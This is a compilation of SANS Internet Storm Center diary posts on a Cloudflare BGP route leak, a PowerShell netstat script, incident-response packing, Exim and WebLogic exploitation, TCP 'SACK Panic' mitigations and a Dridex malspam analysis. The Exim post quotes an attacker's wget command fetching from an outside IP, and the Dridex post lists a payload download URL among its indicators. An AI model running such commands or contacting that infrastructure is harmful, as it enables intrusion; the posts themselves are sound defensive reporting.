Posted on Leave a comment

Extensive BGP Issues Affecting Cloudflare and possibly others, (Mon, Jun 24th)

Cloudflare is currently affected by route leaks preventing users from accessing its services [1]. According to Cloudflare, about 16 Million “Internet Properties” are protected by its services. Recently, Cloudflare also started offering its “1.1.1.1” privacy-focused DNS service, which may also be affected by the routing issue.

According to some reports, Google’s 8.8.8.8 IP address may be affected as well. DNS is in particular vulnerable to man-in-the-middle attacks and they may go unnoticed unless you are using DNSSEC or one of the newer DNS over TLS or HTTPS protocols.

BGP route leaks are nothing new, and they happen much more often than they should. Just recently, traffic from various European mobile internet providers was rerouted through China due to a route leak originating from a Swiss ISP.

What is a “Route Leak”?

Routing on the internet is governed by BGP, the “Border Gateway Protocol.” ISPs sent BGP messages to their neighbors (“peers”), telling them which IP addresses the ISP offers. While there are registries that track which ISP is supposed to own what IP address (“whois”), they are not used in day to day routing. BGP is meant to be fast to allow internet traffic to be re-routing in the case of outages. If your company has two uplinks, one though ISP 1 and another one via ISP 2, and ISP 1 experiences an outage, you could just advertise your IP address space via ISP 2, and “the Internet” will pretty much instantly route your traffic to ISP 2.

Problems arise if someone is advertising IP address space that they do not own. Over recent years, extensions to BGP were implemented to authenticate the messages better, but these extensions have not been widely implemented. ISPs are also supposed to filter incoming messages, which again isn’t always done (or done correctly). 

It can also happen that two ISPs advertise the same IP address range. For example, ISP 1 advertises 192.0.2.0/24, and a second ISP advertises 192.0.2.0/29, 192.0.2.2, which is part of both subnets, will be routed to the second ISP since it is the smaller subnet. If someone intentionally advertises a bad route, they often do so by advertising multiple smaller subnets to be preferred over the valid routes.

Usually, a “route leak” is not something where the victim (Cloudflare today) is at fault in any way. Instead, various ISPs around the Internet that either advertises the routes or that propagate it are at fault. Route leaks often happen accidentally due to misconfigured routers and result in a denial of service. But they can also be used to intentionally re-route traffic to launch man in the middle attacks.

What Is Going Wrong With Cloudflare Right now?

BGP lists the autonomous systems (“Networks”) traffic should pass through to reach the target. For one of Cloudflare’s prefixes, 104.20.160.0/20, the list of autonomous systems should look like from a couple of different ISPs:

7474 (Optus AU) -> 4826 (Vocus AU) -> 13335 (Cloudflare)

2914 (Sprint) -> 13335 (Cloudflare)

The second entry is pretty straight forward. Sprint is directly connected to Cloudflare, so no poisoning is happening. The first entry is more vulnerable. Currently, the following route is used:

7474 (Optus AU) 7473 (Singtel) 6461 (Zayo Bandwith) 701 (Verizon)  396531  (Allegheny Technologies Incorporated) 33154 (Kit Carson Electric Corp) 3356 (Level 3) 13335 (Cloudflare)

Here are some other current entries (based on BGPMon.com):

11071 (Infowest) 174 (Cogent) 701 (Verizon) 396531 (Allegheny)  33154 (Kit Carson)  3356 (Level 3) 13335 (Cloudflare)

This list of networks is not only much longer, but it also includes some smaller networks, which is unusual. Based on the list, it isn’t obvious who is at fault. It could be Level 3 (AS 3356) advertising to AS 33154 that it routes Cloudflare’s IP addresses (which again would be odd) and AS 33154 just propagating this information to its peers. But any network in this list could be the origin of the bad messages.

One issue with this particular BGP route is that AS701 (Verizon) has accepted the bad route. AS701 is one of the larger transit networks on the Internet, peering with many other networks that will trust its updates.

What Should You Do?

For the most part, there is not much that you can do about this (unless you are working for one of the affected networks). In the man-in-the-middle case, you would see a wrong TLS certificate. Never accept bad certificates. For the DoS part of the attack, there is not much you can do but wait for affected ISPs to work things out. Maybe try a different ISP if you have the option. If your website is behind Cloudflare’s proxies, then you could temporarily expose them directly but don’t do so without understanding the consequences. You may yourself be more susceptible to attack if you remove your site, in particular, if you count on Cloudflare for web application firewall and anti-denial of service services.

[1] https://www.cloudflarestatus.com

thanks to fellow handler Remco Verhoef for assisting in collecting some of the data used here.


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

Netstat Local and Remote -new and improved, now with more PowerShell!, (Fri, Jun 21st)

Hi again, time for more Powershell!

This all started with me troubleshooting on a customer’s server, and cursing Microsoft’s decision to spread the output of “netstat -naob” across two lines.  Likely they made that decision out of spite – you know, just so I can’t grep the information that I actually need out of it.

Which got me to thinking about doing this in Powershell.  It’ll be easy I thought, just slam together the output of:

Get-Process
Get-NetTCPConnection
Get-NetUDPEndpoint

Join them up into one list, and dump the output right?

Hmm… except that to do a Get-Process with the associated account info (the -IncludeUserName option), you need elevated rights.  So that means I need a check for that.  And wait, the fields don’t exactly match up, and the Get-NetUDPEndpoint doesn’t actually spell out what’s listening, we need to stuff that into the field …  OK, it did get a bit complicated once I got into it.  The final script for both TCP and UDP is below.  Note that you’ll only get the account info if you run it with admin rights:

$Processes = @{}

# first check if we’re running elevated or not, so we don’t error out on the Get-Process command
# note that account info is only retrieved if we are elevated

if ((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
    {
        # Elevated – get account info per process
        Get-Process -IncludeUserName | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
else
    {
        # Not Elevated – don’t collect per-process account info
        Get-Process  | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
 
# Query Listening TCP Ports and Connections
$Ports = Get-NetTCPConnection |
        Select-Object LocalAddress,
        RemoteAddress,
        @{Name=”Proto”;Expression={“TCP”}},
        LocalPort,RemotePort,State,
        @{Name=”PID”; Expression={ $_.OwningProcess }},
        @{Name=”UserName”; Expression={ $Processes[[int]$_.OwningProcess].UserName }},
        @{Name=”ProcessName”; Expression={ $Processes[[int]$_.OwningProcess].ProcessName }},
        @{Name=”Path”; Expression={ $Processes[[int]$_.OwningProcess].Path }} |
        Sort-Object -Property LocalPort, UserName

# Query Listening UDP Ports (No Connections in UDP)
$UDPPorts += Get-NetUDPEndpoint |
        Select-Object LocalAddress,RemoteAddress,
        @{Name=”Proto”;Expression={“UDP”}},
        LocalPort,RemotePort,State,
        @{Name=”PID”; Expression={ $_.OwningProcess}},
        @{Name=”UserName”; Expression={ $Processes[[int]$_.OwningProcess].UserName}},
        @{Name=”ProcessName”; Expression={ $Processes[[int]$_.OwningProcess].ProcessName}},
        @{Name=”Path”; Expression={ $Processes[[int]$_.OwningProcess].Path}} |
        Sort-Object -Property LocalPort, UserName
foreach ($P in $UDPPorts) {
    if( $P.LocalAddress -eq “0.0.0.0”) {$P.State = “Listen”} }

$Ports += $UDPPorts

$Ports | ft

PS C:> $Ports | ft

LocalAddress                 RemoteAddress   Proto LocalPort RemotePort       State   PID UserName                     ProcessName              Path                                                                                
————                 ————-   —– ——— ———-       —–   — ——–                     ———–              —-                                                                                
0.0.0.0                      0.0.0.0         TCP         135          0      Listen    72 NT AUTHORITYNETWORK SERVICE svchost                  C:WINDOWSsystem32svchost.exe                                                     
::                           ::              TCP         135          0      Listen    72 NT AUTHORITYNETWORK SERVICE svchost                  C:WINDOWSsystem32svchost.exe                                                     
172.23.8.171                 0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
192.168.142.1                0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
169.254.98.213               0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
192.168.254.1                0.0.0.0         TCP         139          0      Listen     4                              System                                                                                                       
::                           ::              TCP         445          0      Listen     4                              System                                                                                                       
0.0.0.0                      0.0.0.0         TCP         902          0      Listen  5456 NT AUTHORITYSYSTEM          vmware-authd             C:Program Files (x86)VMwareVMware Workstationvmware-authd.exe                   
0.0.0.0                      0.0.0.0         TCP         912          0      Listen  5456 NT AUTHORITYSYSTEM          vmware-authd             C:Program Files (x86)VMwareVMware Workstationvmware-authd.exe  
(and so on)

 

So now, if you want just the listening ports, you can get that with a simple grep:

 

 
PS C:> $ports | ? State -eq ‘Listen’ | ft

LocalAddress   RemoteAddress Proto LocalPort RemotePort  State   PID UserName                     ProcessName              Path                                                                                  
————   ————- —– ——— ———-  —–   — ——–                     ———–              —-                                                                                  
0.0.0.0        0.0.0.0       TCP         135          0 Listen    72 NT AUTHORITYNETWORK SERVICE svchost                  C:WINDOWSsystem32svchost.exe                                                       
::             ::            TCP         135          0 Listen    72 NT AUTHORITYNETWORK SERVICE svchost                  C:WINDOWSsystem32svchost.exe                                                       
169.254.98.213 0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
172.20.10.2    0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
10.50.254.132  0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
192.168.254.1  0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
192.168.142.1  0.0.0.0       TCP         139          0 Listen     4                              System                                                                                                         
::             ::            TCP         445          0 Listen     4                              System                                                                                                         
0.0.0.0        0.0.0.0       TCP         902          0 Listen  5456 NT AUTHORITYSYSTEM          vmware-authd             C:Program Files (x86)VMwareVMware Workstationvmware-authd.exe                     
0.0.0.0        0.0.0.0       TCP         912          0 Listen  5456 NT AUTHORITYSYSTEM          vmware-authd             C:Program Files (x86)VMwareVMware Workstationvmware-authd.exe                     
0.0.0.0        0.0.0.0       TCP        1536          0 Listen   600                              wininit                                                                                                        
::             ::            TCP        1536          0 Listen   600                              wininit                                                                                                        
::             ::            TCP        1537          0 Listen  1268 NT AUTHORITYSYSTEM          svchost                  C:WINDOWSsystem32svchost.exe                                                       
0.0.0.0        0.0.0.0       TCP        1537          0 Listen  1268 NT AUTHORITYSYSTEM          svchost                  C:WINDOWSsystem32svchost.exe                                                       
0.0.0.0        0.0.0.0       TCP        1538          0 Listen  1840 NT AUTHORITYLOCAL SERVICE   svchost                  C:WINDOWSSystem32svchost.exe                                                       
::             ::            TCP        1538          0 Listen  1840 NT AUTHORITYLOCAL SERVICE   svchost                  C:WINDOWSSystem32svchost.exe                                                       
::             ::            TCP        1539          0 Listen  3816 NT AUTHORITYSYSTEM          spoolsv                  C:WINDOWSSystem32spoolsv.exe                                                       
0.0.0.0        0.0.0.0       TCP        1539          0 Listen  3816 NT AUTHORITYSYSTEM          spoolsv                  C:WINDOWSSystem32spoolsv.exe                                                       
0.0.0.0        0.0.0.0       TCP        1545          0 Listen   684                              services                                                                                                       
::             ::            TCP        1545          0 Listen   684                              services                                                                                                       
::             ::            TCP        1546          0 Listen   740 NT AUTHORITYSYSTEM          lsass                    C:WINDOWSsystem32lsass.exe                                                         
0.0.0.0        0.0.0.0       TCP        1546          0 Listen   740 NT AUTHORITYSYSTEM          lsass                    C:WINDOWSsystem32lsass.exe                                                         
::1            ::            TCP        1670          0 Listen 10476 NT AUTHORITYSYSTEM          jhi_service              C:Program Files (x86)IntelIntel(R) Management Engine ComponentsDALjhi_service.exe
127.0.0.1      0.0.0.0       TCP        4767          0 Listen  4460 NT AUTHORITYSYSTEM          PanGPS                   C:Program FilesPalo Alto NetworksGlobalProtectPanGPS.exe                          
0.0.0.0        0.0.0.0       TCP        5040          0 Listen  2628 NT AUTHORITYLOCAL SERVICE   svchost                  C:WINDOWSsystem32svchost.exe                                                       
127.0.0.1      0.0.0.0       TCP        5354          0 Listen  5052 NT AUTHORITYSYSTEM          mDNSResponder            C:Program FilesBonjourmDNSResponder.exe                                            
::             ::            TCP        5357          0 Listen     4                              System                                                                                                         
127.0.0.1      0.0.0.0       TCP        5939          0 Listen  5252 NT AUTHORITYSYSTEM          TeamViewer_Service       C:Program Files (x86)TeamViewerTeamViewer_Service.exe                              
0.0.0.0        0.0.0.0       TCP        8099          0 Listen  4796 NT AUTHORITYSYSTEM          SolarWinds TFTP Server   C:Program Files (x86)SolarWindsTFTP ServerSolarWinds TFTP Server.exe              
127.0.0.1      0.0.0.0       TCP       44430          0 Listen  4384 NT AUTHORITYSYSTEM          FoxitConnectedPDFService C:PROGRAM FILES (X86)FOXIT SOFTWAREFOXIT READERFoxitConnectedPDFService.exe       
127.0.0.1      0.0.0.0       TCP       62522          0 Listen  2304 NT AUTHORITYSYSTEM          vpnagent                 C:Program Files (x86)CiscoCisco AnyConnect Secure Mobility Clientvpnagent.exe     
0.0.0.0                      UDP          69            Listen  4796 NT AUTHORITYSYSTEM          SolarWinds TFTP Server   C:Program Files (x86)SolarWindsTFTP ServerSolarWinds TFTP Server.exe              
0.0.0.0                      UDP        3702            Listen  4640 NT AUTHORITYLOCAL SERVICE   dasHost                  C:WINDOWSsystem32dashost.exe                                                       
0.0.0.0                      UDP        5353            Listen  2276 NT AUTHORITYNETWORK SERVICE svchost                  C:WINDOWSsystem32svchost.exe                                                       
0.0.0.0                      UDP        5355            Listen  2276 NT AUTHORITYNETWORK SERVICE svchost                  C:WINDOWSsystem32svchost.exe                                                       
0.0.0.0                      UDP        6096            Listen  6388 NT AUTHORITYSYSTEM          FortiESNAC               C:Program Files (x86)FortinetFortiClientFortiESNAC.exe                            
0.0.0.0                      UDP       51498            Listen  5252 NT AUTHORITYSYSTEM          TeamViewer_Service       C:Program Files (x86)TeamViewerTeamViewer_Service.exe                              
0.0.0.0                      UDP       52326            Listen  8568 NT AUTHORITYLOCAL SERVICE   svchost                  C:WINDOWSsystem32svchost.exe                                                       
0.0.0.0                      UDP       52410            Listen  2304 NT AUTHORITYSYSTEM          vpnagent                 C:Program Files (x86)CiscoCisco AnyConnect Secure Mobility Clientvpnagent.exe     
0.0.0.0                      UDP       58385            Listen  5052 NT AUTHORITYSYSTEM          mDNSResponder            C:Program FilesBonjourmDNSResponder.exe                                            
0.0.0.0                      UDP       59622            Listen     4                              System                                                                                                         
0.0.0.0                      UDP       59623            Listen     4                              System                                                                                                         
0.0.0.0                      UDP       60966            Listen  1276 DESKTOP-CPHGM1Irvlab01      mstsc                    C:WINDOWSsystem32mstsc.exe                                                         
0.0.0.0                      UDP       60967            Listen  1276 DESKTOP-CPHGM1Irvlab01      mstsc                    C:WINDOWSsystem32mstsc.exe                                                         
0.0.0.0                      UDP       62741            Listen  5268 NT AUTHORITYSYSTEM          vmnat                    C:WINDOWSSysWOW64vmnat.exe                                                         
0.0.0.0                      UDP       63327            Listen  4640 NT AUTHORITYLOCAL SERVICE   dasHost                  C:WINDOWSsystem32dashost.exe                                                       
0.0.0.0                      UDP       63448            Listen     4                              System                                                                                                         
0.0.0.0                      UDP       63449            Listen     4                              System   
                  

 

With that done, I got to thinking – what about running this across an entire domain, and then look for “outliers” – listening ports that only 1 or 2 hosts have open??  What would that look like?

GetProcess has a -ComputerName option, so we’re good there.
Get-NetTCPConnection doesn’t have a -ComputerName option, but it does have a -RemoteAddress option
However .. Get-NetUDPEndpoint has neither – local execution only (insert sad panda face here)

I guess we’ll need to do this all remotely then – we’ll make the whole script so far into a function, then call it using invoke-command for all stations in a domain – like this:

function PSNetstat {
$Processes = @{}

if ((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
    {
        # Elevated – get account info per process
        Get-Process -IncludeUserName | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
else
    {
        # Not Elevated – don’t collect per-process account info
        Get-Process  | ForEach-Object {
        $Processes[$_.Id] = $_
        }
    }
 
# Query Listening TCP Ports and Connections
$Ports = Get-NetTCPConnection |
        Select-Object LocalAddress,
        RemoteAddress,
        @{Name=”Proto”;Expression={“TCP”}},
        LocalPort,RemotePort,State,
        @{Name=”PID”; Expression={ $_.OwningProcess }},
        @{Name=”UserName”; Expression={ $Processes[[int]$_.OwningProcess].UserName }},
        @{Name=”ProcessName”; Expression={ $Processes[[int]$_.OwningProcess].ProcessName }},
        @{Name=”Path”; Expression={ $Processes[[int]$_.OwningProcess].Path }} |
        Sort-Object -Property LocalPort, UserName

# Query Listening UDP Ports (No Connections in UDP)
$UDPPorts = Get-NetUDPEndpoint |
        Select-Object LocalAddress,RemoteAddress,
        @{Name=”Proto”;Expression={“UDP”}},
        LocalPort,RemotePort,State,
        @{Name=”PID”; Expression={ $_.OwningProcess}},
        @{Name=”UserName”; Expression={ $Processes[[int]$_.OwningProcess].UserName}},
        @{Name=”ProcessName”; Expression={ $Processes[[int]$_.OwningProcess].ProcessName}},
        @{Name=”Path”; Expression={ $Processes[[int]$_.OwningProcess].Path}} |
        Sort-Object -Property LocalPort, UserName
foreach ($P in $UDPPorts) {
    if( $P.LocalAddress -eq “0.0.0.0”) {$P.State = “Listen”} }

$Ports += $UDPPorts
$Ports
}

$targets =get-adcomputer -filter * -Property DNSHostName
$portlist = @()
$i = 1
$count = $targets.count

foreach ($targethost in $targets) {
   write-host $i of $count –  $targethost.DNSHostName
   if (Test-Connection -ComputerName $targethost.DNSHostName -count 2 -Quiet) {
       $portlist += invoke-command -ComputerName $targethost ${function:PSNetStat}
       ++$i
       }
   }
$portlist | export-csv all-ports.csv

Now you have all TCP and UDP ports, in all states in one giant CSV.  If you want, you can pull out the just listening ports using the “grep” method we used earlier, and you can mix-and-match it any way you please in either PowerShell or in Excel (we dumped it all into a CSV at the end).

Use our comment form if you run this and find anything odd in your network, we’re always interested in “odd”

===============
Rob VandenBrink
www.coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

Using a Travel Packing App for Infosec Purpose, (Thu, Jun 20th)

My today’s diary will not be technical but could help you to better organize your next travel. This week, like many SANS ISC Handlers, I’m in Washington DC to attend SANSFIRE[1]. Based on our daily jobs, we have to travel quite often and, in my case, I’m always afraid to forget something important when I’m packing to visit a customer or to attend a security conference. When I’m attending a security conference, I’m always carrying a lot of electronics gadgets and stuff to be sure to be (safely) connected once in my hotel room: portable firewall, cables, adapters, etc. When you need to visit a customer for a specific mission, it’s even more important to not forget a device or piece of software to perform your tasks in good conditions. 

I’m using a travel packing apps to organize my travels. Based on the destination (country, climate, the period of the year) and duration (number of t-shirts, underwear, …), it generates a list of stuff to bring with you. Usually, this kind of applications has a pre-built list for holidays, business trips, sports activities etc.

I’m not promoting any application, I just bought the “pro” version of PackPoint (for a few $). This version allows to create custom packing lists. I created some based on my business tasks:

  • Incident Handling
  • Pentesting
  • Infosec conference

Let’s take the incident handling list as an example. You must be sure to bring everything with you to work in an efficient way. From a technical point of view: have the right tools, enough storage, licences. But also from an administrative point of view: on-site contacts, authorizations, documents, etc. Here is an example of a list of stuff to bring with you:

  • Contact information for people inside and outside the organizations.
  • Mobile phone and spare batteries
  • Camera
  • SIMM cards with data subscription
  • Powerful laptop(s) with enough CPU/RAM/storage
  • External performant storage (SSD/USB-3)
  • Portable hypervisor (like an Intel Nuc)
  • Raspberry Pi
  • Software (on CD/DVD, USB)
  • Network tap
  • Switch/cables/adapters
  • HD Write blocker
  • Blank media (USB, DVD/CD
  • Notebooks / pens
  • Tools (screwdrivers, cutters, tape)
  • Console cable (USB2Serial)
  • Forms (for evidence list and chain of custody)
  • Plastic bags
  • Live CDs
  • Food, water, jacket, sweet, spare t-shirt, deodorant (remember the “3-2-1 rule”: 3 hours of sleep, 2 meals, 1 shower

With the help of this kind of app, you are able to keep your packing list up to date and not miss important stuff when you need to leave in emergency!

If you are attending SANSFIRE, come to say hello, handlers are easy to find, we usually have our “black shirts”! 

[1] https://www.sans.org/event/sansfire-2019

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

Quick Detect: Exim "Return of the Wizard" Attack, (Wed, Jun 19th)

Thanks to our reader Alex for sharing some of his mail logs with the latest attempts to exploit %%CVE:2019-10149%% (aka “Return of the Wizard”). The vulnerability affects Exim and was patched about two weeks ago. There are likely still plenty of vulnerable servers, but it looks like attackers are branching out and are hitting servers not running Exim as well.

A couple of logs from our own mail server (running postfix):

Jun 19 10:47:10 mail postfix/smtp[19006]: A547240360F4: to=, relay=204.51.94.153[204.51.94.153]:25, delay=0.82, delays=0.29/0.03/0.45/0.05, dsn=5.1.1, status=bounced (host 204.51.94.153[204.51.94.153] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table (in reply to RCPT TO command))

The exploit is attempting to run the following command:

/bin/sht-ct "wget 64.50.180.45/tmp/70.91.145.10"

Note that the IP at the end of the command is our mail servers public IP address. The URL does no longer appear to exist and belongs to a server running cPanel. 

The beginning of the command may actually be a mistake/typo. I believe the attacker is trying to run sh -ct, which would execute the string (wget..). 


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

Critical Actively Exploited WebLogic Flaw Patched CVE-2019-2729, (Wed, Jun 19th)

Oracle today released an out-of-band security update for WebLogic, patching yet another XMLDecoder deserialization vulnerability for WebLogic. The flaw is already actively exploited according to Oracle. Exploitation does not require authentication. Exploitation will allow arbitrary code injection and the CVSS score of the vulnerability is 9.8. The vulnerability is similar to CVE-2019-2725 in that it bypasses protections put in place by Oracle when it patched this vulnerability in April. Oracle has been using a “blacklist” approach in patching these deserialization vulnerabilities, blocking the deserialization of very specific classes, which has led to similar bypass/patch cat and mouse games in the past.

Security Company KnownSec has a few more details about the vulnerability [2] including some mitigation techniques.

CVE-2019-2729 was assigned to the vulnerability and it affects versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0

[1] https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html#AppendixFMW
[2] https://medium.com/@knownsec404team/knownsec-404-team-alert-again-cve-2019-2725-patch-bypassed-32a6a7b7ca15


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

What You Need To Know About TCP "SACK Panic", (Tue, Jun 18th)

Netflix discovered several vulnerabilities in how Linux (and in some cases FreeBSD) are processing the “Selective TCP Acknowledgment (SACK)” option [1]. The most critical of the vulnerabilities can lead to a kernel panic, rendering the system unresponsive. Patching this vulnerability is critical. Once an exploit is released, the vulnerability could be used to shut down exposed servers, or likely clients connecting to malicious services.

Vulnerability Overview
CVE Operating System Affected Description/Impact
%%CVE:2019-11477%% Linux > 2.6.29 SACK processing integer overflow. Leads to kernel panic.
%%CVE:2019-11478%% Linux < 4.14.127 SACK Slowness or Excess Resource Usage
%%CVE:2019-5599%% FreeBSD RACK Send Map SACK Slowness
%%CVE:2019-11479%% Linux (all versions) Excess Resource Consumption Due to Low MSS Values

You are vulnerable if you are using a current Linux system, have selective acknowledgments enabled (a common default) and are using a network card with TCP Segment Offload (again, a common default in modern servers). A patch has been made available. Alternatively, you can disable SACK.

Netflix included patches for the Linux kernel in its advisory. The following Linux kernel versions include the patch: 4.4.182, 4.9.182, 4.14.127, 4.19.52, 5.1.11.

What is SACK?

Each host connected to a network can send packets of a specific maximum size (“MTU”). This size depends on the network technology used, and for Ethernet, a typical size is 1500 bytes. But it can be as large as 9,000 for Ethernet. Some of this space is used for headers. With a standard 20 byte IP header, and a 20 byte TCP header, TCP packets usually can hold up to 1,460 bytes of data (the “Maximum Segment Size”). TCP will break down a data stream into segments that are small enough not to exceed this size, and hosts will communicate their respective maximum segment size to each other to reduce the chance of fragmentation.

To order packets in a TCP connection, each byte transmitted is assigned a sequence number, and the TCP header will list the sequence number of the first byte contained in the packet. A receiver will acknowledge which sequence number it received by communicating the next sequence number it expects.

Only acknowledging complete segments leads to a bit of inefficiency. A receiver can not communicate to a sender that it already received some out of order data. Instead, it will continue to acknowledge the last complete set of segments it has received.

To avoid this inefficiency, SACK was introduced. It allows receivers to notify the sender that it has received an out of order segment. “I received everything up to sequence number 10, and expect 11 next, but I also received 20-30”. This way, the sender knows to resend only 11-19 and to continue with 31 next.

What is TCP Segment Offload?

TCP Segment Offload is a feature included in most current network cards. To reduce the work CPUs have to do to buffer and reassemble TCP segments, network cards will take care of some of the TCP processing. In this case, the operating system will receive large “packets” exceeding the MTU of the network.

What is TCP “SACK Panic”

Operating systems need to store data until it is transmitted (and acknowledged) or received. Linux uses a data structure referred to as “Socket Buffer” to do so. In Linux, this socket buffer can hold up to 17 segments. As packets are sent and acknowledged, data is removed from the structure, or some of the data may be consolidated. Moving the data can, in some cases, lead to more than 17 segments stored, which in turn, leads to a kernel panic.

What can I do to prevent this?

1. Disable SACK in Linux

You may temporarily disable SACK without a reboot. As root run:

setenforce 0
echo 0 >  /proc/sys/net/ipv4/tcp_sack

The first line is only necessary if you are using SELinux as it may block the second statement.

To make this change permanent, add the following to /etc/sysctl.conf (or probably cleaner as a new file in /etc/sysctl.d ):

net.ipv4.tcp_sack = 0
net.ipv4.tcp_dsack = 0
net.ipv4.tcp_fack = 0

Run “sysctl -p” to apply the changes without a reboot (and again, you may need to disable SELinux).

2. Firewall Rules

The exploit requires very small maximum segment size settings. You can block packets advertising a small MSS in iptables:

iptables -t mangle -A PREROUTING -p tcp -m conntrack --ctstate NEW -m tcpmss ! --mss 536:65535 -j DROP

Per RFC 879, TCP requires an MTU of at least 576, leading to a minimum MSS of 536. 

How do I know I am vulnerable

3. Finding Vulnerable Systems

There is no easy scanning tool available to find vulnerable systems. So far, there is also no PoC exploit available that could be used to find vulnerable systems. As a quick test, you can look for systems supporting SACK (and running Linux). The following tcpdump command may help:

tcpdump -i eth0 -n 'ip[8]<65 and tcp[13]&0x2f=2'  | grep 'sackOK'

This command will help identify systems with either the SYN or SYN-ACK flags set with a TTL of less than 65 (to help limit this to Linux systems). There is no simple filter for the SackOK option as it may appear in different positions, so I cheated a bit with the “grep.”

Vendor Statements / Patches

Redhat: https://access.redhat.com/security/vulnerabilities/tcpsack
Ubuntu: https://usn.ubuntu.com/4017-1/
Debian: https://www.debian.org/security/2019/dsa-4465
SUSE: https://www.suse.com/de-de/support/kb/doc/?id=7023928
Cloudflare: https://twitter.com/jgrahamc/status/1140724787242819585
Amazon: https://aws.amazon.com/security/security-bulletins/AWS-2019-005/

[1] https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md

 


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Posted on Leave a comment

Malspam with password-protected Word docs pushing Dridex, (Tue, Jun 18th)

Introduction

Today’s diary reviews a Dridex infection caused by a password-protected Word document that was attached to malicious spam (spam) that I saw on Monday 2019-06-17.

Example of the malspam

The malspam was sent from a spoofed sending address that ended with @bajardepeso.pro.  See the images below for details.


Shown above:  Example of the malspam with an attached password-protected Word doc.


Shown above:  The password-protected Word doc after unlocking it with a password from the malspam.


Shown above:  Characteristics of the password-protected Word doc showing Mark as Final used to prevent editing or changes.


Shown above:  After unlocking the Word document and removing the passwords, I used OfficeMalScanner to extract the malicious macro code.


Shown above:  Macro code extracted from the Word doc shows an artifact saved to C:WindowsTempaXwZvnt48.xsl.


Shown above:  Dridex malware EXE and script stored in the C:WindowsTemp directory.


Shown above:  More information from C:WindowsTempaXwZvnt48.xsl.

Infection traffic

Infection traffic was typical for what I’ve seen with previous Dridex infections.  See the below images for details.


Shown above:  Traffic from the infection filtered in Wireshark.


Shown above:  Alerts from traffic during the infection shown in Sguil using Security Onion with Suricata and the EmergingThreats ruleset.


Shown above:  Certificate data used during HTTPS/SSL/TLS traffic caused by Dridex (1 of 2).


Shown above:  Certificate data used during HTTPS/SSL/TLS traffic caused by Dridex (2 of 2).


Shown above:  Filtering in Wireshark to find other IP addresses contacted by the Dridex-infected host.


Shown above:  Encoded TP traffic on 192.190.43[.]95 that doesn’t appear to be HTTPS/SSL/TLS traffic.

Forensics on the infected Windows host

Malware and artifacts on the infected Windows host are typical from what I’ve seen with previous Dridex infections.  Of note, the Dridex DLL files are 64-bit DLLs using file names that are loaded by legitimate Microsoft Windows system EXEs.  These file paths, file names, and associated SHA256 hashes change every time the victim logs onto the infected Windows host.


Shown above:  Dridex persistent on the infected Windows host, with legitimate Microsoft EXE files used to load Dridex DLL files.


Shown above:  Windows registry and task scheduler updates to keep the Dridex infection persistent.


Shown above:  Shortcut in the Windows menu Startup folder to keep the Dridex infection persistent.

Indicators of compromise (IOCs)

Traffic from the infected Windows host

  • 161.117.87[.]198 port 443 (HTTPS) – tor2net[.]com – GET /udfgh87898df87gdfug89df/servicewn.exe
  • 69.164.194[.]184 port 443 – HTTPS/SSL/TLS traffic generated by Dridex
  • 212.237.34[.]105 port 443 – HTTPS/SSL/TLS traffic generated by Dridex
  • 115.112.43[.]81 port 443 – attempted TCP connection, RST by server
  • 89.103.35[.]54 port 443 – attempted TCP connection, RST by server
  • 67.248.61[.]111 port 443 – attempted TCP connection, RST by server
  • 192.190.43[.]95 port 443 – encoded TCP traffic (doesn’t look like HTTPS/SSL/TLS)

Malware from the infected windows host:

SHA256 hash: e70be6e4d00a6d86ad639b1927159f35f03857be3fcfeca7fcf1cd37ecc62a3f

  • File size: 261,632 bytes
  • File name: HKL-37689934693.doc
  • File description: Email attachment – password-protected Word doc with malicious macros

SHA256 hash: 1aabefe6d4e6ab3605cf67a61caf7ba37d78b748c3dbdcd564c42f56d81fcb0f

  • File size: 325,912 bytes
  • File location: C:WindowsTempawMiOFl.exe
  • File description: Dridex installer retrieved by malicious macro

SHA256 hash: b113f9b2246ce8c67bde65272b5b604a1ad30317493272f7a622b06e11caa7da

  • File size: 675,840 bytes
  • File location: C:Users[username]AppDataRoamingOsiiC9XmlLite.dll
  • File description: Dridex 64-bit DLL malware loaded by legitimate Microsoft file webengine.exe
  • NOTE: This file path, name, and hash changes every time the victim logs into the infected Windows host.

SHA256 hash: 5cfda27455d0b6bce9cf295bd56357db4595edd50aa4296cd5838335557eae6c

  • File size: 675,840 bytes
  • File location: C:Windowssystem32dMHoOLEACC.dll
